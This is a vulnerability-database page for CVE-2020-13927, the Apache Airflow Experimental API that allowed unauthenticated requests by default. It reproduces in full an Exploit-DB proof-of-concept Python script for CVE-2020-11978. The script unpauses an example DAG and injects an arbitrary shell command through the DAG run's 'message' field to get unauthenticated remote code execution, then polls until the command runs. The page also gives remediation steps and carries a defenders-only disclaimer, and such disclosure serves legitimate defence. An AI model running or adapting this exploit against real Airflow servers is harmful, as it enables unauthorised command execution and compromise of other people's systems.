CVE-2020-13927

unknown KEV
Published 2021-04-30 ยท Modified 2022-01-18
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

The previous default setting for Airflow's Experimental API was to allow all API requests without authentication.

CISA KEV

Vendor
Apache
Product
Airflow's Experimental API
Due date
2022-07-18

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49927 webapps multiple text ยท 4 KB
Pepe Berba ยท 2021-06-02

Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution

text exploit Source: Exploit-DB
# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
# 
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
# Together, potentially allows unauthenticated RCE to Airflow 
# 
# Repo: https://github.com/pberba/CVE-2020-11978
# More information can be found here:  
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
#
# Remediation:
# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
#
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"

import argparse
import requests
import sys
import time

def create_dag(url, cmd):
	print('[+] Checking if Airflow Experimental REST API is accessible...')
	check = requests.get('{}/api/experimental/test'.format(url))

	if check.status_code == 200:
		print('[+] /api/experimental/test returned 200' )
	else:
		print('[!] /api/experimental/test returned {}'.format(check.status_code))
		print('[!] Airflow Experimental REST API not be accessible')
		sys.exit(1)

	check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
	if check_task.status_code != 200:
		print('[!] Failed to find the example_trigger_target_dag.bash_task')
		print('[!] Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	elif 'dag_run' in check_task.json()['env']:
		print('[!] example_trigger_target_dag.bash_task is patched')
		print('[!] Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	print('[+] example_trigger_target_dag.bash_task is vulnerable')

	unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
	if unpause.status_code != 200:
		print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
		sys.exit(1)
	else:
		print('[+] example_trigger_target_dag was enabled')

	print('[+] Creating new DAG...')
	res = requests.post(
	    '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
	    json={
	        'conf': {
	                'message': '"; {} #'.format(cmd)
	        }
	    }
	)

	if res.status_code == 200:
		print('[+] Successfully created DAG')
		print('[+] "{}"'.format(res.json()['message']))
	else:
		print('[!] Failed to create DAG')
		sys.exit(1)

	wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
		url = url,
		execution_date=res.json()['execution_date']
	)

	start_time = time.time()
	print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')
	print('[.] If the bash task is never queued, then the scheduler might not be running.')
	while True:
		time.sleep(10)
		res = requests.get(wait_url)
		status = res.json()['state']
		if status == 'queued':
			print('[.] Bash task queued...')
		elif status == 'running':
			print('[+] Bash task running...')
		elif status == 'success':
			print('[+] Bash task successfully ran')
			break
		elif status == 'None':
			print('[-] Bash task is not yet queued...'.format(status))
		else:
			print('[!] Bash task was {}'.format(status))
			sys.exit(1)

	return 0


def main():
	arg_parser = argparse.ArgumentParser()
	arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
	arg_parser.add_argument('command', type=str)
	args = arg_parser.parse_args()

	create_dag(
		args.url, 
		args.command
	)

if __name__ == '__main__':
	main()

Metasploit modules

Apache Airflow 1.10.10 - Example DAG Remote Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Package impact

EcosystemPackageVulnerableFixed
python PyPIapache-airflow<1.10.111.10.11

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.